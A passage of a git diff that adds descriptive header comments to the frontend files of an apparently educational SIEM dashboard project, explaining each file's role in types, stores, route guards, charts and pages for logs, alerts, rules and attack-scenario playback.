payloads. +// +// Key exports: +// correlationRuleSchema, CorrelationRule - full rule document type +// ruleTestResultSchema, RuleTestResult - dry-run evaluation result type +// RuleCreateRequest, RuleUpdateRequest, RuleTestRequest - mutation payloads +// +// Connects to: +// useRules.ts - consumes all rule types +// rules/index.tsx - uses CorrelationRule and RuleTestResult for display // =================== import { z } from 'zod' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/scenario.types.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/scenario.types.ts index 0f98ad84..7edc4c5a 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/scenario.types.ts +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/scenario.types.ts @@ -1,6 +1,21 @@ // =================== // ©AngelaMos | 2026 // scenario.types.ts +// +// Zod schemas and types for scenario runs and playbook metadata +// +// Exports the full ScenarioRun document type and the PlaybookInfo type that +// describes available YAML playbooks. Also exports plain interfaces for +// start and speed mutation payloads. +// +// Key exports: +// scenarioRunSchema, ScenarioRun - active or completed scenario run +// playbookInfoSchema, PlaybookInfo - available playbook metadata +// ScenarioStartRequest, SpeedRequest - mutation payloads +// +// Connects to: +// useScenarios.ts - consumes all scenario types +// scenarios/index.tsx - renders ScenarioRun and PlaybookInfo data // =================== import { z } from 'zod' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/config.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/config.ts index 537d05fd..8263c82c 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/config.ts +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/config.ts @@ -1,6 +1,20 @@ // =================== // ©AngelaMos | 2026 // constants.ts +// +// Application-wide constants for the SIEM dashboard frontend +// +// Centralizes all API endpoint paths, React Query cache keys, client-side +// route paths, localStorage keys, cache timing config, HTTP status codes, +// pagination defaults, and display label maps. Every hook and page imports +// from here instead of defining URLs inline. +// +// Key exports: +// API_ENDPOINTS - all backend route paths, static and parameterized +// QUERY_KEYS - structured cache key factories for React Query +// ROUTES - client-side navigation path constants +// QUERY_CONFIG - stale time, GC time, and retry settings +// STORAGE_KEYS - localStorage key names for persisted stores // =================== const API_VERSION = 'v1' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/core/app/admin-route.tsx b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/app/admin-route.tsx index b32a9332..75b645d9 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/core/app/admin-route.tsx +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/app/admin-route.tsx @@ -1,6 +1,19 @@ // =================== // ©AngelaMos | 2026 // admin-route.tsx +// +// Route guard that restricts access to admin-only routes +// +// Checks the current user's role from the auth store. Non-admin users are +// silently redirected to the dashboard. Renders an Outlet for child routes +// when the admin role is confirmed. +// +// Key components: +// AdminRoute - renders Outlet for admins, redirects others to dashboard +// +// Connects to: +// router.tsx - wraps admin/users route +// auth.store.ts - reads user.role // =================== import { Navigate, Outlet } from 'react-router-dom' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/core/app/protected-route.tsx b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/app/protected-route.tsx index f5abbbab..b47ca8ff 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/core/app/protected-route.tsx +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/app/protected-route.tsx @@ -1,6 +1,19 @@ // =================== // ©AngelaMos | 2026 // protected-route.tsx +// +// Route guard that redirects unauthenticated users to the login page +// +// Reads isAuthenticated from the auth store. If the user is not logged in, +// navigates to /login and preserves the attempted path in location state so +// login can redirect back after a successful login. +// +// Key components: +// ProtectedRoute - renders Outlet when authenticated, redirects otherwise +// +// Connects to: +// router.tsx - wraps all authenticated routes +// auth.store.ts - reads isAuthenticated // =================== import { Navigate, Outlet, useLocation } from 'react-router-dom' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/core/app/router.tsx b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/app/router.tsx index 6a200b01..05080a64 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/core/app/router.tsx +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/app/router.tsx @@ -1,6 +1,20 @@ // =================== // ©AngelaMos | 2026 // router.tsx +// +// Browser router definition with lazy-loaded routes and auth guards +// +// Public routes (landing, login, register) load without authentication. All +// other routes nest under ProtectedRoute and the Shell layout. Admin routes +// are further nested under AdminRoute. All page components are lazy-loaded +// via dynamic import to enable code splitting. +// +// Key exports: +// router - the createBrowserRouter instance mounted in App.tsx +// +// Connects to: +// protected-route.tsx, admin-route.tsx, shell.tsx - layout route elements +// config.ts - ROUTES path constants // =================== import { createBrowserRouter, type RouteObject } from 'react-router-dom' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/core/app/shell.tsx b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/app/shell.tsx index 12a9cbbc..455687a8 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/core/app/shell.tsx +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/app/shell.tsx @@ -1,6 +1,22 @@ // =================== // ©AngelaMos | 2026 // shell.tsx +// +// Authenticated application shell with sidebar navigation and page layout +// +// Renders the collapsible sidebar with nav links, an admin-conditional users +// link, and a logout button. Wraps the main content in an ErrorBoundary and +// Suspense so lazy-loaded routes load cleanly. Sidebar open state is managed +// via UIStore; collapse preference persists across reloads. +// +// Key components: +// Shell - the outer layout component used inside ProtectedRoute +// +// Connects to: +// router.tsx - Shell is mounted as a layout route element +// auth.store.ts - reads user and role for admin nav and avatar letter +// ui.store.ts - manages sidebar open/collapsed state +// useAuth.ts - calls useLogout for the logout button // =================== import { Suspense } from 'react' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/core/charts/theme.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/charts/theme.ts index fb909a87..d2e9d188 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/core/charts/theme.ts +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/charts/theme.ts @@ -1,6 +1,22 @@ // =================== // ©AngelaMos | 2026 // theme.ts +// +// Chart theme and color maps for @visx visualizations +// +// Builds the chartTheme using the app's dark palette for use with visx +// XYChart. Also exports SEVERITY_COLORS and STATUS_COLORS maps that map +// domain string values to HSL color strings for consistent color coding +// across charts and badge components. +// +// Key exports: +// chartTheme - visx XYChart theme object +// SEVERITY_COLORS - severity-to-HSL color map +// STATUS_COLORS - alert status-to-HSL color map +// +// Connects to: +// event-timeline.tsx - uses chartTheme +// severity-chart.tsx - uses SEVERITY_COLORS // =================== import { buildChartTheme } from '@visx/xychart' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/core/lib/api.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/lib/api.ts index 2c2db8dc..3a80bf84 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/core/lib/api.ts +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/lib/api.ts @@ -1,6 +1,22 @@ // =================== // ©AngelaMos | 2026 // api.ts +// +// Configured Axios instance with auth injection and 401 auto-logout +// +// Creates the apiClient singleton with the VITE_API_URL base URL. The +// request interceptor reads the access token from auth store state and +// attaches it as a Bearer header. The response interceptor catches 401 +// responses, calls logout(), and redirects to /login, then rethrows as +// an ApiError via transformAxiosError. +// +// Key exports: +// apiClient - pre-configured Axios instance used by all hooks +// getBaseURL - reads VITE_API_URL for use in SSE connection URLs +// +// Connects to: +// errors.ts - transformAxiosError called in response interceptor +// auth.store.ts - reads accessToken and calls logout() // =================== import axios, { diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/core/lib/errors.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/lib/errors.ts index e99deae0..b47466a6 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/core/lib/errors.ts +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/lib/errors.ts @@ -1,6 +1,23 @@ // =================== // ©AngelaMos | 2026 // errors.ts +// +// Typed API error class, error code enum, and Axios error transformer +// +// ApiError extends Error with a typed code, HTTP status code, and optional +// field-level details map. transformAxiosError converts raw Axios errors +// into ApiErrors with appropriate codes. Also augments the React Query type +// registry so defaultError is typed as ApiError across all hooks without +// explicit annotation. +// +// Key exports: +// ApiError - typed error class with getUserMessage() for toast display +// ApiErrorCode - exhaustive set of client-side error category codes +// transformAxiosError - maps Axios HTTP errors to ApiError instances +// +// Connects to: +// api.ts - calls transformAxiosError in the response interceptor +// query.ts - imports ApiError and ApiErrorCode for retry logic // =================== import type { AxiosError } from 'axios' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/core/lib/query.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/lib/query.ts index 395f0d0c..67621dd4 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/core/lib/query.ts +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/lib/query.ts @@ -1,6 +1,22 @@ // =================== // ©AngelaMos | 2026 // query.ts +// +// React Query client setup with caching strategies, retry logic, and global error handling +// +// Exports the queryClient singleton and QUERY_STRATEGIES presets for +// standard, frequent, dashboard, static, and auth data. The query cache +// shows toast errors only for background refetch failures when stale data +// already exists. The mutation cache shows toast errors only for mutations +// without their own onError handler. +// +// Key exports: +// queryClient - configured QueryClient instance mounted in App.tsx +// QUERY_STRATEGIES - named cache config presets used by all hooks +// +// Connects to: +// errors.ts - ApiError and ApiErrorCode used for retry decisions +// config.ts - QUERY_CONFIG timing constants // =================== import { MutationCache, QueryCache, QueryClient } from '@tanstack/react-query' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/core/stores/auth.store.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/stores/auth.store.ts index a3963b5b..fd89e60d 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/core/stores/auth.store.ts +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/stores/auth.store.ts @@ -1,6 +1,23 @@ // =================== // ©AngelaMos | 2026 // auth.store.ts +// +// Zustand store for authentication state with localStorage persistence +// +// Holds the authenticated user, JWT access token, and isAuthenticated flag. +// Persisted to localStorage under the siem-auth key so sessions survive page +// reloads. Also exports three fine-grained selector hooks for components that +// only need a single slice of state. +// +// Key exports: +// useAuthStore - main Zustand store hook with login, logout, updateUser actions +// useUser, useIsAuthenticated, useAccessToken - selector hooks +// AuthUser - interface for the stored user object +// +// Connects to: +// api.ts - reads accessToken and calls logout() +// useAuth.ts - calls login, logout, setAccessToken, updateUser +// protected-route.tsx, admin-route.tsx, shell.tsx - read auth state // =================== import { create } from 'zustand' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/core/stores/stream.store.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/stores/stream.store.ts index 9fbf4431..2e5c2f66 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/core/stores/stream.store.ts +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/stores/stream.store.ts @@ -1,6 +1,19 @@ // =================== // ©AngelaMos | 2026 // stream.store.ts +// +// Zustand store for real-time SSE event buffers +// +// Maintains in-memory ring buffers (max 500 entries each) for log and alert +// events arriving over Server-Sent Events. Tracks connection status for both +// streams separately. Not persisted to localStorage since the data is +// transient. Events are prepended so the newest entry is always first. +// +// Key exports: +// useStreamStore - Zustand store hook with push, clear, and status actions +// +// Connects to: +// useEventStream.ts - calls pushLogEvent, pushAlertEvent, setLogConnected, setAlertConnected // =================== import { create } from 'zustand' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/core/stores/ui.store.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/stores/ui.store.ts index f3ed170e..f17476dc 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/core/stores/ui.store.ts +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/stores/ui.store.ts @@ -1,6 +1,19 @@ // =================== // ©AngelaMos | 2026 // ui.store.ts +// +// Zustand store for sidebar UI state with partial localStorage persistence +// +// Manages sidebarOpen (mobile overlay) and sidebarCollapsed (desktop +// compressed mode) flags. Only sidebarCollapsed is persisted across reloads. +// Also exports two selector hooks for components that only need a single flag. +// +// Key exports: +// useUIStore - main Zustand store hook +// useSidebarOpen, useSidebarCollapsed - selector hooks +// +// Connects to: +// shell.tsx - reads and mutates all sidebar state // =================== import { create } from 'zustand' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/main.tsx b/PROJECTS/intermediate/siem-dashboard/frontend/src/main.tsx index 4d4c1fff..b47038e2 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/main.tsx +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/main.tsx @@ -1,6 +1,8 @@ // =================== // ©AngelaMos | 2026 // main.tsx +// +// React application entry point // =================== import { StrictMode } from 'react' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/admin/index.tsx b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/admin/index.tsx index 452d65a1..bb729fe4 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/admin/index.tsx +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/admin/index.tsx @@ -1,6 +1,22 @@ // =================== // ©AngelaMos | 2026 // index.tsx +// +// Admin-only user management table with role, status, and delete controls +// +// Renders a paginated table of all users. Each row is a UserRow component +// that checks whether the row belongs to the current user and disables +// self-modification actions. Role changes fire immediately via a select +// element. Activate/deactivate toggle based on is_active. Delete is permanent. +// UserRow is an internal helper component. +// +// Key components: +// Component - lazy-loaded admin users page; displayName "Admin Users" +// +// Connects to: +// useAdmin.ts - user list, role update, activate, deactivate, delete mutations +// auth.store.ts - reads current user ID for self-protection logic +// admin.types.ts - UserResponse, UserRole types // =================== import { useState } from 'react' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/alerts/index.tsx b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/alerts/index.tsx index 3adc1577..4aafcecf 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/alerts/index.tsx +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/alerts/index.tsx @@ -1,6 +1,22 @@ // =================== // ©AngelaMos | 2026 // index.tsx +// +// Alert list page with status filtering, detail panel, and lifecycle actions +// +// STATUS_TABS drives a tab bar that filters alerts by lifecycle state. +// Clicking an alert row toggles an inline detail panel showing matched log +// events and status transition buttons. AlertDetailPanel uses useAlertDetail +// to fetch the full alert with matched events, and useUpdateAlertStatus to +// patch the status. AlertCard and InfoField are internal helper components. +// +// Key components: +// Component - lazy-loaded alerts page; displayName "Alerts" +// +// Connects to: +// useAlerts.ts - paginated alert list with status filtering +// alert.types.ts - Alert, AlertDetail types +// config.ts - ALERT_STATUS_LABELS, SEVERITY_LABELS // =================== import { useState } from 'react' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/event-timeline.tsx b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/event-timeline.tsx index 8be63df3..6d7f8127 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/event-timeline.tsx +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/event-timeline.tsx @@ -1,6 +1,20 @@ // =================== // ©AngelaMos | 2026 // event-timeline.tsx +// +// Animated area chart displaying event counts over time using @visx/xychart +// +// Renders an AnimatedAreaSeries on a time/linear scale with a monotone curve. +// The chart resizes responsively via ParentSize. A custom Tooltip shows the +// bucket timestamp and event count on hover. +// +// Key components: +// EventTimeline - full-width area chart panel, accepts TimelineBucket[] and isLoading +// +// Connects to: +// dashboard/index.tsx - receives timeline data and loading state +// theme.ts - chartTheme for @visx styling +// dashboard.types.ts - TimelineBucket type // =================== import { curveMonotoneX } from '@visx/curve' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/severity-chart.tsx b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/severity-chart.tsx index 180dccec..afcce3e9 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/severity-chart.tsx +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/severity-chart.tsx @@ -1,6 +1,21 @@ // =================== // ©AngelaMos | 2026 // severity-chart.tsx +// +// Donut chart with legend showing alert counts per severity level +// +// Uses @visx/shape Pie inside an SVG scaled with ParentSize. Arc colors map +// to SEVERITY_COLORS from the chart theme. The center of the donut shows the +// total alert count. A legend list to the right labels each severity with its +// color dot and count. +// +// Key components: +// SeverityChart - donut + legend panel, accepts SeverityCount[] and isLoading +// +// Connects to: +// dashboard/index.tsx - receives severity data and loading state +// theme.ts - SEVERITY_COLORS +// config.ts - SEVERITY_LABELS for display strings // =================== import { Group } from '@visx/group' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/stat-cards.tsx b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/stat-cards.tsx index 5cd932cd..49d414fc 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/stat-cards.tsx +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/stat-cards.tsx @@ -1,6 +1,18 @@ // =================== // ©AngelaMos | 2026 // stat-cards.tsx +// +// Four KPI metric cards showing total events, alerts, open alerts, and critical count +// +// Extracts the critical severity count from the overview's severity_breakdown +// array. Renders skeleton placeholder cards while data is loading. +// +// Key components: +// StatCards - grid of four metric cards, accepts DashboardOverview and isLoading +// +// Connects to: +// dashboard/index.tsx - receives overview data and loading state +// dashboard.types.ts - DashboardOverview type // =================== import type { DashboardOverview } from '@/api/types' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/top-sources.tsx b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/top-sources.tsx index fe5d40b5..59904f57 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/top-sources.tsx +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/top-sources.tsx @@ -1,6 +1,18 @@ // =================== // ©AngelaMos | 2026 // top-sources.tsx +// +// Horizontal bar list ranking the top source IPs by event count +// +// Bar width is calculated as a percentage of the highest count in the dataset. +// Empty and loading states are handled before rendering the bar list. +// +// Key components: +// TopSources - ranked bar list panel, accepts TopSource[] and isLoading +// +// Connects to: +// dashboard/index.tsx - receives top sources data and loading state +// dashboard.types.ts - TopSource type // =================== import type { TopSource } from '@/api/types' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/index.tsx b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/index.tsx index 7f621913..1a3745ef 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/index.tsx +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/index.tsx @@ -1,6 +1,19 @@ // =================== // ©AngelaMos | 2026 // index.tsx +// +// Dashboard route that composes the four main analytics panels +// +// Fires all four dashboard queries in parallel and passes data and loading +// state down to each panel component. The two chart panels sit side-by-side +// in a row below the full-width timeline. +// +// Key components: +// Component - lazy-loaded dashboard page; displayName "Dashboard" +// +// Connects to: +// useDashboard.ts - useDashboardOverview, useTimeline, useSeverityBreakdown, useTopSources +// stat-cards.tsx, event-timeline.tsx, severity-chart.tsx, top-sources.tsx - panel components // =================== import { diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/landing/index.tsx b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/landing/index.tsx index 3a8705fa..acb4b7b1 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/landing/index.tsx +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/landing/index.tsx @@ -1,6 +1,18 @@ // =================== // ©AngelaMos | 2026 // index.tsx +// +// Public landing page describing the SIEM dashboard's four main capabilities +// +// Renders a static marketing page with feature sections for real-time +// monitoring, attack scenarios, the correlation engine, and alert triage. +// Links to the login and register routes. No authentication required. +// +// Key components: +// Component - lazy-loaded landing page; displayName "Landing" +// +// Connects to: +// config.ts - ROUTES.LOGIN, ROUTES.REGISTER for navigation links // =================== import { GiDualityMask, GiHumanTarget } from 'react-icons/gi' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/login/index.tsx b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/login/index.tsx index f8bbf86c..a7914d7f 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/login/index.tsx +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/login/index.tsx @@ -1,6 +1,21 @@ // =================== // ©AngelaMos | 2026 // index.tsx +// +// Login page with client-side Zod validation and JWT storage on success +// +// The form validates credentials against loginRequestSchema before sending. +// On success, useLogin fetches the user profile and stores the token via +// the auth store, then redirects to the dashboard. Password visibility +// can be toggled via the eye icon button. +// +// Key components: +// Component - lazy-loaded login page; displayName "Login" +// +// Connects to: +// useAuth.ts - useLogin mutation +// auth.types.ts - loginRequestSchema for client-side validation +// config.ts - ROUTES for navigation targets // =================== import { useState } from 'react' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/logs/index.tsx b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/logs/index.tsx index 8c0493a2..fea67eb0 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/logs/index.tsx +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/logs/index.tsx @@ -1,6 +1,21 @@ // =================== // ©AngelaMos | 2026 // index.tsx +// +// Log viewer page with source/severity filters, event type search, and detail drawer +// +// Source type and severity dropdowns narrow the paginated log list. The search +// input filters by event_type. Clicking a table row fetches the full event +// via useLogDetail and renders a side drawer showing all fields including +// normalized and raw JSON blobs. LogDetail and DetailField are internal helpers. +// +// Key components: +// Component - lazy-loaded log viewer page; displayName "LogViewer" +// +// Connects to: +// useLogs.ts - paginated log list with source/severity filtering +// log.types.ts - LogEvent, LogQueryParams types +// config.ts - SEVERITY_LABELS for display strings // =================== import { useState } from 'react' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/register/index.tsx b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/register/index.tsx index f6dae6bf..2d75b2db 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/register/index.tsx +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/register/index.tsx @@ -1,6 +1,21 @@ // =================== // ©AngelaMos | 2026 // index.tsx +// +// Registration page with confirm-password validation and automatic login on success +// +// Extends registerRequestSchema locally with a confirmPassword field and a +// refine check that both passwords match. On success, useRegister stores the +// token and user profile then redirects to the dashboard. Both password +// fields have independent visibility toggles. +// +// Key components: +// Component - lazy-loaded register page; displayName "Register" +// +// Connects to: +// useAuth.ts - useRegister mutation +// auth.types.ts - registerRequestSchema, PASSWORD_MIN constant +// config.ts - ROUTES for navigation targets // =================== import { useState } from 'react' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/rules/index.tsx b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/rules/index.tsx index 5f3b4c8c..dcd90693 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/rules/index.tsx +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/rules/index.tsx @@ -1,6 +1,21 @@ // =================== // ©AngelaMos | 2026 // index.tsx +// +// Correlation rules page with rule list, create form, test run, and delete actions +// +// The toolbar shows a rule count and a button to open the RuleForm overlay. +// RuleCard expands on click to show the raw conditions JSON and buttons to +// test or delete the rule. Test results show events evaluated and alert count. +// RuleForm pre-fills the conditions textarea from CONDITION_TEMPLATES when the +// rule type changes. RuleForm is an internal helper component. +// +// Key components: +// Component - lazy-loaded rules page; displayName "Rules" +// +// Connects to: +// useRules.ts - rule list, create, delete, and test mutations +// rule.types.ts - CorrelationRule type // =================== import { useCallback, useState } from 'react' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/scenarios/index.tsx b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/scenarios/index.tsx index da7fcccd..f9b6342b 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/scenarios/index.tsx +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/scenarios/index.tsx @@ -1,6 +1,22 @@ // =================== // ©AngelaMos | 2026 // index.tsx +// +// Scenario runner page showing available playbooks and active scenario controls +// +// The running section only renders when there are active runs. Each running +// scenario renders as a RunningCard with pause/resume, stop, and speed +// selector controls. The playbook grid shows static metadata (event count, +// MITRE tactics and techniques) and a start button for each playbook. +// RunningCard is an internal helper component. +// +// Key components: +// Component - lazy-loaded scenarios page; displayName "Scenarios" +// +// Connects to: +// useScenarios.ts - playbook list, running scenarios, and control mutations +// scenario.types.ts - ScenarioRun, PlaybookInfo types +// config.ts - SCENARIO_STATUS_LABELS for display strings // =================== import { LuPause, LuPlay, LuSquare } from 'react-icons/lu' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/settings/index.tsx b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/settings/index.tsx index e6c9a29e..3a32a7e9 100644 --- a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/settings/index.tsx +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/settings/index.tsx @@ -1,6 +1,20 @@ // =================== // ©AngelaMos | 2026 // index.tsx +// +// Settings page showing current account info and a profile update form +// +// The top section displays the current username, email, and role read-only +// from the auth store. The form only submits when at least one field has a +// new value and current_password is provided. On success the form fields +// reset to empty so placeholders show the current values again. +// +// Key components: +// Component - lazy-loaded settings page; displayName "Settings" +// +// Connects to: +// useAuth.ts - useUpdateProfile mutation +// auth.store.ts - reads current user for display and placeholder values // =================== import { useState } from 'react'